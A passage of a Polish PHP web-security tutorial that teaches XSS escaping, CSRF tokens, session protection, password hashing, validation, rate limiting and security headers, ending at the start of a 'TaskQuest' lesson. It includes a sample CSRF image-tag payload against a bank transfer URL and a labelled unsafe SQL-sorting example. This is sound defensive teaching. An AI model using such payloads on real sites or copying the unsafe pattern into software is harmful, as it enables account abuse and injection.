$stmt = $db->prepare("SELECT * FROM comments ORDER BY created_at DESC LIMIT 10");
$stmt->execute();
$wynik = $stmt->get_result();
$komentarze = $wynik->fetch_all(MYSQLI_ASSOC);
$stmt->close();
$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Komentarze</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .comment {
            background: #f4f4f4;
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
            border-left: 4px solid #667eea;
        }
        .comment-author {
            font-weight: bold;
            color: #667eea;
        }
        .comment-text {
            margin-top: 10px;
            color: #333;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input, textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
    </style>
</head>
<body>

<h1>Komentarze na blogu</h1>

<form method="POST">
    <div class="form-group">
        <input type="text" name="author" placeholder="Twoje imię" required>
    </div>
    <div class="form-group">
        <textarea name="comment" placeholder="Twój komentarz" rows="5" required></textarea>
    </div>
    <button type="submit">Dodaj komentarz</button>
</form>

<h2>Najnowsze komentarze:</h2>

<?php foreach ($komentarze as $koment): ?>
    <div class="comment">
        <div class="comment-author">
            <?= htmlspecialchars($koment['author']) ?>
        </div>
        <div class="comment-text">
            <?= nl2br(htmlspecialchars($koment['comment'])) ?>
        </div>
        <small><?= date('d.m.Y H:i', strtotime($koment['created_at'])) ?></small>
    </div>
<?php endforeach; ?>

</body>
</html>

Zasady ochrony przed XSS:

• ZAWSZE używaj htmlspecialchars() przy wyświetlaniu danych od użytkownika
• Od PHP 8.1 htmlspecialchars($tekst) koduje też apostrofy i cudzysłowy (w starszych wersjach dodaj ENT_QUOTES, 'UTF-8').
• Ustaw charset na UTF-8
• Waliduj dane wejściowe (whitelist, nie blacklist)
• Użyj Content Security Policy (CSP) – o tym dalej

A tutaj można się sprawdzić: https://xss-game.appspot.com/

3. CSRF (Cross-Site Request Forgery) – Fałszywe żądania

CSRF to atak polegający na zmuszeniu zalogowanego użytkownika do wykonania nieautoryzowanej akcji.

Przykład ataku: Użytkownik jest zalogowany na bank.pl. Haker wysyła mu e-mail z linkiem:

<img src="http://bank.pl/transfer.php?to=hacker&amount=10000">

Gdy użytkownik otworzy e-mail, przeglądarka automatycznie wyśle żądanie do bank.pl z jego cookies/sesją, co wykona przelew!

Ochrona przed CSRF – Tokeny

• Przy wyświetleniu formularza generujemy unikalny token
• Token zapisujemy w sesji
• Token dodajemy jako ukryte pole w formularzu
• Przy odbiorze formularza sprawdzamy czy token się zgadza

Implementacja tokenów CSRF

<?php
session_start();

// Funkcja generująca token CSRF
function generateCSRFToken() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // bezpieczny generator losowy
    }
    return $_SESSION['csrf_token'];
}

// Funkcja sprawdzająca token CSRF
function verifyCSRFToken($token) {
    if (!isset($_SESSION['csrf_token'])) {
        return false;
    }
    return hash_equals($_SESSION['csrf_token'], $token); //bezpieczne porównywanie (zapobiega timing attack)
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$errors = [];
$success = false;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź token CSRF
    $csrf_token = $_POST['csrf_token'] ?? '';
    
    if (!verifyCSRFToken($csrf_token)) {
        die('Nieprawidłowy token CSRF! Możliwa próba ataku.');
    }
    
    // Token poprawny - przetwarzamy formularz
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    
    if (!empty($username) && !empty($email)) {
        
        $stmt = $db->prepare("INSERT INTO users (username, email, created_at) VALUES (?, ?, NOW())");
        $stmt->bind_param("ss", $username, $email);
        
        if ($stmt->execute()) {
            $success = true;
            
            // Usuń token po użyciu (jednorazowy)
            unset($_SESSION['csrf_token']);
        }
        
        $stmt->close();
    }
}

// Generuj nowy token dla formularza
$csrf_token = generateCSRFToken();

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja z ochroną CSRF</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>

<h1>Rejestracja użytkownika</h1>

<?php if ($success): ?>
    <div class="success">
        Użytkownik został zarejestrowany pomyślnie!
    </div>
<?php endif; ?>

<form method="POST">
    <!-- Ukryty token CSRF -->
    <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrf_token) ?>">
    
    <div class="form-group">
        <label>Username:</label>
        <input type="text" name="username" required>
    </div>
    
    <div class="form-group">
        <label>Email:</label>
        <input type="email" name="email" required>
    </div>
    
    <button type="submit">Zarejestruj</button>
</form>

<p><small>Token CSRF: <?= substr($csrf_token, 0, 16) ?>...</small></p>

</body>
</html>

Zasady ochrony przed CSRF:

• Używaj tokenów CSRF dla wszystkich formularzy zmieniających dane
• Token musi być unikalny i nieprzewidywalny
• Sprawdzaj token po stronie serwera
• Token powinien być przypisany do sesji użytkownika
• Używaj metody POST dla operacji zmieniających dane (nigdy GET!)

4. Session Hijacking i Session Fixation

Session Hijacking – Kradzież sesji

Czym jest? Przejęcie ID sesji innego użytkownika, co pozwala hakerowi zalogować się jako ten użytkownik.

• Haker przechwytuje ID sesji (przez XSS, packet sniffing, itp.)
• Ustawia to ID w swojej przeglądarce
• Serwer myśli, że to legalny użytkownik

Ochrona przed Session Hijacking

<?php
session_start();

// Funkcja regenerująca ID sesji
function secureSession() {
    
    // Regeneruj ID sesji przy każdym logowaniu
    if (!isset($_SESSION['initiated'])) {
        session_regenerate_id(true);
        $_SESSION['initiated'] = true;
    }
    
    // Sprawdź IP użytkownika
    if (!isset($_SESSION['user_ip'])) {
        $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
    } elseif ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR']) {
        // IP się zmienił - możliwy atak!
        session_destroy();
        die('Sesja wygasła ze względów bezpieczeństwa');
    }
    
    // Sprawdź User Agent
    if (!isset($_SESSION['user_agent'])) {
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
    } elseif ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
        // User Agent się zmienił - możliwy atak!
        session_destroy();
        die('Sesja wygasła ze względów bezpieczeństwa');
    }
    
    // Timeout sesji (30 minut)
    if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > 1800)) {
        session_unset();
        session_destroy();
        header("Location: logowanie.php?timeout=1");
        exit;
    }
    $_SESSION['last_activity'] = time();
}

// Wywołaj przy każdym żądaniu
secureSession();
?>

Session Fixation – Narzucenie ID sesji

Czym jest? Haker narzuca swoje ID sesji ofierze, a gdy ofiara się zaloguje, haker również ma dostęp do konta.

Ochrona:

<?php
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Sprawdzenie użytkownika w bazie...
    // (kod z poprzednich przykładów)
    
    if ($user && password_verify($password, $user['password'])) {
        
        // REGENERUJ ID SESJI PRZY LOGOWANIU!
        session_regenerate_id(true);
        
        // Zapisz dane użytkownika
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['username'] = $user['username'];
        $_SESSION['logged_in'] = true;
        
        // Zapisz fingerprint
        $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        
        header("Location: panel.php");
        exit;
    }
}
?>

Bezpieczna konfiguracja sesji w php.ini

; Używaj tylko cookies (nie URL)
session.use_only_cookies = 1

; Niedostępne dla JavaScript
session.cookie_httponly = 1

; Tylko przez HTTPS (w produkcji)
session.cookie_secure = 1

; Ochrona przed CSRF
session.cookie_samesite = "Strict"

; Długość ID sesji
session.sid_length = 48

; Bezpieczny generator
session.sid_bits_per_character = 6

W PHP:

<?php
// Konfiguracja sesji
ini_set('session.use_only_cookies', 1);
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1); // Tylko dla HTTPS!
ini_set('session.cookie_samesite', 'Strict');

session_start();
?>

5. Password Hashing – Bezpieczne hasła

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Walidacja hasła
    if (strlen($password) < 8) {
        $errors[] = "Hasło musi mieć min. 8 znaków";
    }
    
    if (empty($errors)) {
        
        // Hashuj hasło (automatycznie używa bcrypt + salt)
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        // Zapisz hash do bazy
        $stmt = $db->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
        $stmt->bind_param("ss", $username, $password_hash);
        $stmt->execute();
        $stmt->close();
    }
}
?>

Hash wygląda tak:

$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

• $2y$ – algorytm (bcrypt)
• 10 – cost (2^10 iteracji)
• Losowy salt + hash

Logowanie:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Pobierz użytkownika z bazy
    $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $wynik = $stmt->get_result();
    $user = $wynik->fetch_assoc();
    $stmt->close();
    
    // Sprawdź hasło
    if ($user && password_verify($password, $user['password'])) {
        
        // Sprawdź czy hash wymaga aktualizacji
        if (password_needs_rehash($user['password'], PASSWORD_DEFAULT)) {
            $new_hash = password_hash($password, PASSWORD_DEFAULT);
            
            $stmt_update = $db->prepare("UPDATE users SET password = ? WHERE id = ?");
            $stmt_update->bind_param("si", $new_hash, $user['id']);
            $stmt_update->execute();
            $stmt_update->close();
        }
        
        echo "Zalogowano pomyślnie!";
    } else {
        echo "Nieprawidłowy login lub hasło";
    }
}
?>

Zasady bezpiecznych haseł:

• Używaj password_hash() z PASSWORD_DEFAULT
• NIGDY nie używaj MD5 ani SHA1 do haseł!
• Wymagaj min. 8 znaków (lepiej 12+)
• Sprawdzaj siłę hasła (wielkie/małe litery, cyfry, znaki specjalne)
• Nie przechowuj podpowiedzi do hasła

6. Walidacja i sanityzacja danych

Walidacja – czy dane są poprawne?

<?php
$email = trim($_POST['email'] ?? '');
$age = (int)($_POST['age'] ?? 0);
$url = trim($_POST['url'] ?? '');

// Walidacja email
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $errors[] = "Nieprawidłowy format email";
}

// Walidacja wieku
if ($age < 18 || $age > 120) {
    $errors[] = "Wiek musi być między 18 a 120";
}

// Walidacja URL
if (!filter_var($url, FILTER_VALIDATE_URL)) {
    $errors[] = "Nieprawidłowy format URL";
}

// Walidacja wyrażeniem regularnym
$username = trim($_POST['username'] ?? '');
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
    $errors[] = "Username: 3-20 znaków, tylko litery, cyfry i podkreślnik";
}
?>

Sanityzacja – oczyszczanie danych

<?php
$text = $_POST['text'];

// Usuń białe znaki
$username = trim($_POST['username']);

// Sanityzacja email
$email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);

// Sanityzacja URL
$url = filter_var($_POST['url'], FILTER_SANITIZE_URL);

// Sanityzacja liczby
$age = filter_var($_POST['age'], FILTER_SANITIZE_NUMBER_INT);

// Rzutowanie typu
$id = (int)$_GET['id'];
$price = (float)$_POST['price'];
$is_active = (bool)$_POST['active'];
?>

Whitelist vs Blacklist

Blacklist (ZŁE):

<?php
// Próba blokowania złych wartości - NIGDY nie złapiesz wszystkich!
$sort = $_GET['sort'];
if ($sort !== 'DROP' && $sort !== 'DELETE' && $sort !== 'UPDATE') {
    $query = "SELECT * FROM users ORDER BY $sort"; // NADAL NIEBEZPIECZNE!
}
?>

Whitelist (DOBRE):

<?php
// Lista dozwolonych wartości
$allowed_sort = ['username', 'email', 'created_at', 'level'];
$sort = $_GET['sort'] ?? 'username';

if (in_array($sort, $allowed_sort)) {
    $query = "SELECT * FROM users ORDER BY $sort"; // BEZPIECZNE
} else {
    $sort = 'username'; // Domyślna wartość
    $query = "SELECT * FROM users ORDER BY $sort";
}
?>

7. Rate Limiting – Ograniczanie prób logowania

Bez rate limiting haker może próbować tysięcy haseł w sekundę (brute force attack).

Implementacja prostego rate limitera

<?php
session_start();

function checkRateLimit($max_attempts = 5, $timeout = 300) {
    
    // Inicjalizacja countera
    if (!isset($_SESSION['login_attempts'])) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
    }
    
    // Sprawdź czy timeout minął
    if (time() - $_SESSION['first_attempt_time'] > $timeout) {
        // Reset po timeout
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
        unset($_SESSION['blocked_until']);
    }
    
    // Sprawdź czy zablokowany
    if (isset($_SESSION['blocked_until']) && time() < $_SESSION['blocked_until']) {
        $remaining = $_SESSION['blocked_until'] - time();
        $minutes = ceil($remaining / 60);
        return [
            'allowed' => false,
            'message' => "Za dużo prób logowania. Spróbuj ponownie za {$minutes} minut."
        ];
    }
    
    // Sprawdź liczbę prób
    if ($_SESSION['login_attempts'] >= $max_attempts) {
        // Zablokuj na 5 minut
        $_SESSION['blocked_until'] = time() + $timeout;
        return [
            'allowed' => false,
            'message' => "Za dużo prób logowania. Zablokowano na 5 minut."
        ];
    }
    
    return ['allowed' => true];
}

function incrementLoginAttempts() {
    $_SESSION['login_attempts']++;
}

function resetLoginAttempts() {
    $_SESSION['login_attempts'] = 0;
    unset($_SESSION['blocked_until']);
    unset($_SESSION['first_attempt_time']);
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź rate limit
    $rate_limit = checkRateLimit();
    
    if (!$rate_limit['allowed']) {
        $errors[] = $rate_limit['message'];
    } else {
        
        $username = trim($_POST['username'] ?? '');
        $password = $_POST['password'] ?? '';
        
        if (!empty($username) && !empty($password)) {
            
            $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt->bind_param("s", $username);
            $stmt->execute();
            $wynik = $stmt->get_result();
            $user = $wynik->fetch_assoc();
            $stmt->close();
            
            if ($user && password_verify($password, $user['password'])) {
                
                // Sukces - reset countera
                resetLoginAttempts();
                
                $_SESSION['user_id'] = $user['id'];
                $_SESSION['username'] = $user['username'];
                $_SESSION['logged_in'] = true;
                
                $db->close();
                
                header("Location: panel.php");
                exit;
                
            } else {
                // Niepowodzenie - zwiększ counter
                incrementLoginAttempts();
                $errors[] = "Nieprawidłowy login lub hasło";
            }
        }
    }
}

$db->close();

// Sprawdź ile pozostało prób
$attempts_left = 5 - ($_SESSION['login_attempts'] ?? 0);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Logowanie z Rate Limiting</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 400px;
            margin: 50px auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            width: 100%;
            padding: 10px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>

<h1>Logowanie</h1>

<?php if (!empty($errors)): ?>
    <div class="error">
        <?php foreach ($errors as $error): ?>
            <p><?= htmlspecialchars($error) ?></p>
        <?php endforeach; ?>
    </div>
<?php endif; ?>

<?php if ($attempts_left > 0 && $attempts_left < 5): ?>
    <div class="warning">
        Pozostało prób: <?= $attempts_left ?>
    </div>
<?php endif; ?>

<form method="POST">
    <div class="form-group">
        <input type="text" name="username" placeholder="Username" required>
    </div>
    <div class="form-group">
        <input type="password" name="password" placeholder="Hasło" required>
    </div>
    <button type="submit">Zaloguj</button>
</form>

</body>
</html>

8. Security Headers – Nagłówki bezpieczeństwa

Content Security Policy (CSP)

Zapobiega XSS poprzez kontrolowanie źródeł zasobów (skrypty, style, obrazy).

<?php
// Podstawowy CSP - tylko własne źródła
header("Content-Security-Policy: default-src 'self'");

// Bardziej szczegółowy
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self' https://fonts.gstatic.com");
?>

X-Frame-Options

Zapobiega clickjacking (umieszczaniu strony w iframe).

<?php
// Zabroń umieszczania w iframe
header("X-Frame-Options: DENY");

// Lub tylko w tej samej domenie
header("X-Frame-Options: SAMEORIGIN");
?>

X-Content-Type-Options

Zapobiega MIME sniffing.

<?php
header("X-Content-Type-Options: nosniff");
?>

Strict-Transport-Security (HSTS)

Wymusza HTTPS.

<?php
// Wymuszaj HTTPS przez rok
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
?>

X-XSS-Protection – PRZESTARZAŁE

Zamiast tego nagłówka należy stosować politykę Content Security Policy (CSP) oraz poprawne kodowanie danych wyjściowych (output encoding).

Jak to się ustawiało?

Włączało wbudowaną ochronę przed XSS w przeglądarce.

<?php
header("X-XSS-Protection: 1; mode=block");
?>

Referrer-Policy

Kontroluje jak dużo informacji przekazywać w nagłówku Referer.

<?php
header("Referrer-Policy: strict-origin-when-cross-origin");
?>

Permissions-Policy

Kontroluje dostęp do API przeglądarki.

<?php
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
?>

Wszystkie nagłówki razem

<?php
function setSecurityHeaders() {
    // CSP
    header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;");
    
    // Clickjacking
    header("X-Frame-Options: SAMEORIGIN");
    
    // MIME sniffing
    header("X-Content-Type-Options: nosniff");
    
    // XSS Protection
    header("X-XSS-Protection: 1; mode=block");
    
    // HTTPS (tylko w produkcji!)
    // header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
    
    // Referrer
    header("Referrer-Policy: strict-origin-when-cross-origin");
    
    // Permissions
    header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
}

// Wywołaj na początku każdego skryptu
setSecurityHeaders();
?>

9. HTTPS i bezpieczne przesyłanie danych

Bez HTTPS:

• Hasła przesyłane w plain text
• Dane mogą być podsłuchiwane (Man-in-the-Middle attack)
• Dane mogą być modyfikowane w tranzycie

Wymuszanie HTTPS w PHP

<?php
// Sprawdź czy połączenie jest przez HTTPS
if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
    // Przekieruj na HTTPS
    $redirect_url = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    header("Location: $redirect_url", true, 301);
    exit;
}
?>

Wymuszanie HTTPS w .htaccess

# Przekieruj wszystko na HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

10. Kompleksowy przykład – Bezpieczny system logowania

<?php
session_start();

// Security headers
header("Content-Security-Policy: default-src 'self'");
header("X-Frame-Options: SAMEORIGIN");
header("X-Content-Type-Options: nosniff");
header("X-XSS-Protection: 1; mode=block");

// Wymuszanie HTTPS (odkomentuj w produkcji)
// if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
//     header("Location: https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
//     exit;
// }

// Konfiguracja sesji
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 0); // Zmień na 1 w produkcji z HTTPS
ini_set('session.cookie_samesite', 'Strict');

// CSRF Token
function generateCSRFToken() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

function verifyCSRFToken($token) {
    return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}

// Rate Limiting
function checkRateLimit() {
    if (!isset($_SESSION['login_attempts'])) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
    }
    
    if (time() - $_SESSION['first_attempt_time'] > 300) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
        unset($_SESSION['blocked_until']);
    }
    
    if (isset($_SESSION['blocked_until']) && time() < $_SESSION['blocked_until']) {
        return ['allowed' => false, 'message' => 'Za dużo prób. Zablokowano na 5 minut.'];
    }
    
    if ($_SESSION['login_attempts'] >= 5) {
        $_SESSION['blocked_until'] = time() + 300;
        return ['allowed' => false, 'message' => 'Za dużo prób. Zablokowano na 5 minut.'];
    }
    
    return ['allowed' => true];
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    error_log("Connection error: " . $db->connect_error);
    die('Błąd połączenia z bazą danych');
}

$db->set_charset('utf8mb4');

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź CSRF token
    if (!verifyCSRFToken($_POST['csrf_token'] ?? '')) {
        die('Nieprawidłowy token CSRF');
    }
    
    // Sprawdź rate limit
    $rate_limit = checkRateLimit();
    if (!$rate_limit['allowed']) {
        $errors[] = $rate_limit['message'];
    } else {
        
        // Walidacja danych
        $username = trim($_POST['username'] ?? '');
        $password = $_POST['password'] ?? '';
        
        if (empty($username)) {
            $errors[] = "Username jest wymagany";
        }
        
        if (empty($password)) {
            $errors[] = "Hasło jest wymagane";
        }
        
        if (empty($errors)) {
            
            // Prepared statement - ochrona przed SQL Injection
            $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt->bind_param("s", $username);
            $stmt->execute();
            $wynik = $stmt->get_result();
            $user = $wynik->fetch_assoc();
            $stmt->close();
            
            // Password verification
            if ($user && password_verify($password, $user['password'])) {
                
                // Sukces - reset rate limiter
                $_SESSION['login_attempts'] = 0;
                unset($_SESSION['blocked_until']);
                
                // Regeneruj ID sesji - ochrona przed Session Fixation
                session_regenerate_id(true);
                
                // Usuń stary CSRF token
                unset($_SESSION['csrf_token']);
                
                // Zapisz dane użytkownika
                $_SESSION['user_id'] = $user['id'];
                $_SESSION['username'] = $user['username'];
                $_SESSION['logged_in'] = true;
                $_SESSION['login_time'] = time();
                
                // Fingerprint sesji - ochrona przed Session Hijacking
                $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
                $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
                
                $db->close();
                
                header("Location: panel.php");
                exit;
                
            } else {
                // Niepowodzenie - zwiększ counter
                $_SESSION['login_attempts']++;
                $errors[] = "Nieprawidłowy username lub hasło";
            }
        }
    }
}

$db->close();

// Generuj token dla formularza
$csrf_token = generateCSRFToken();
$attempts_left = 5 - ($_SESSION['login_attempts'] ?? 0);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Bezpieczne logowanie</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .login-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 400px;
            width: 100%;
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
            text-align: center;
        }
        .security-info {
            background: #e7f3ff;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-top: 20px;
            font-size: 12px;
        }
        .security-info h3 {
            margin-bottom: 10px;
        }
        .security-info ul {
            margin-left: 20px;
        }
    </style>
</head>
<body>

<div class="login-container">
    <h1>Bezpieczne logowanie</h1>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <?php foreach ($errors as $error): ?>
                <p><?= htmlspecialchars($error) ?></p>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>
    
    <?php if ($attempts_left > 0 && $attempts_left < 5): ?>
        <div class="warning">
            Pozostało prób: <?= $attempts_left ?>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrf_token) ?>">
        
        <div class="form-group">
            <label>Username:</label>
            <input type="text" 
                   name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>"
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" name="password" required>
        </div>
        
        <button type="submit">Zaloguj się</button>
    </form>
    
    <div class="security-info">
        <h3>Zabezpieczenia:</h3>
        <ul>
            <li>CSRF Protection</li>
            <li>Rate Limiting (5 prób / 5 min)</li>
            <li>Password Hashing (bcrypt)</li>
            <li>Prepared Statements</li>
            <li>XSS Protection</li>
            <li>Session Security</li>
            <li>Security Headers</li>
        </ul>
    </div>
</div>

</body>
</html>

Najważniejsze zasady

• NIE UFAJ DANOM OD UŻYTKOWNIKA – ZAWSZE waliduj i sanityzuj
• Prepared Statements – jedyna skuteczna ochrona przed SQL Injection
• htmlspecialchars() – ZAWSZE przy wyświetlaniu danych użytkownika
• password_hash() – NIGDY plain text haseł
• Tokeny CSRF – dla wszystkich formularzy zmieniających dane
• Security Headers – pierwsza linia obrony
• HTTPS – w produkcji ZAWSZE
• Rate Limiting – ochrona przed brute force
• Session Security – regeneruj ID, sprawdzaj fingerprint
• Keep it simple – prostszy kod = mniej błędów

TaskQuest 2.2 — konta z hasłem i obrona przed atakami

Po Lekcji 21 TaskQuest ma zadania w bazie, XP, serię dni i avatary. Działa, ale jest bardzo łatwy do oszukania. Każdy, kto zna login Kama_2026, wchodzi na konto Kamy bez hasła. Tytuł zadania może być kodem, który wykona się w przeglądarce. Obca strona internetowa może „kliknąć” za gracza przycisk „Usuń”.

Dziś wejdziesz w rolę atakującego i spróbujesz przełamać własną aplikację. Każdy udany atak od razu naprawisz. Na koniec TaskQuest dostanie prawdziwe konta: rejestrację i logowanie z hasłem.

Lekcja 20 jest w tym kursie pomijana. Pracujesz na projekcie w stanie po Lekcji 21.

Cel lekcji

Nauczyć się:

• rozpoznawać SQL injection i sprawdzać, czy aplikacja jest na nie odporna,
• rozpoznawać XSS i bronić się przed nim funkcją htmlspecialchars(),
• rozpoznawać CSRF i bronić się przed nim tokenem w formularzu (random_bytes(), bin2hex(), hash_equals()),
• bezpiecznie przechowywać hasła (password_hash(), password_verify()),
• blokować wykonywanie skryptów w katalogu z plikami od użytkowników (.htaccess).

Efekt: nowa strona rejestracja.php, logowanie z hasłem, każdy formularz POST z tokenem, wszystkie dane od użytkownika wyświetlane jako zwykły tekst, katalog avatarów zabezpieczony po stronie serwera.

Uwaga — co jest, a czego jeszcze nie ma:

• Komunikaty błędów mysqli nadal trafiają do użytkownika (np. nazwy kolumn). Ukryjemy je i zapiszemy do logu w Lekcji 23 (debugowanie i obsługa błędów).
• Ograniczanie liczby prób logowania, nagłówki bezpieczeństwa, HTTPS i flagi ciasteczka sesji omawiamy tylko krótko w sekcji 3. Część z nich jest w zadaniach końcowych.
• diagnostyka.php nadal jest publiczna. To narzędzie dla programisty, na serwerze produkcyjnym się go nie zostawia.

Rozgrzewka — 4 pytania z Lekcji 21

1. Dlaczego TaskQuest nie sprawdza formatu pliku po kluczu $_FILES['avatar']['type']?
2. Avatar Kamy zapisujemy jako avatar_1_<czas>.png, a nie pod nazwą, którą przysłała przeglądarka. Podaj jeden powód związany z bezpieczeństwem.
3. Co sprawdza getimagesize(), a czego nie sprawdza?
4. Formularz avatara ma accept=".jpg,.jpeg,.png,.webp". Czy to chroni aplikację? Dlaczego?

1. Wracamy do naszego TaskQuest

Co zostaje, co dochodzi, co zmieniamy

Docelowa struktura projektu

taskquest/
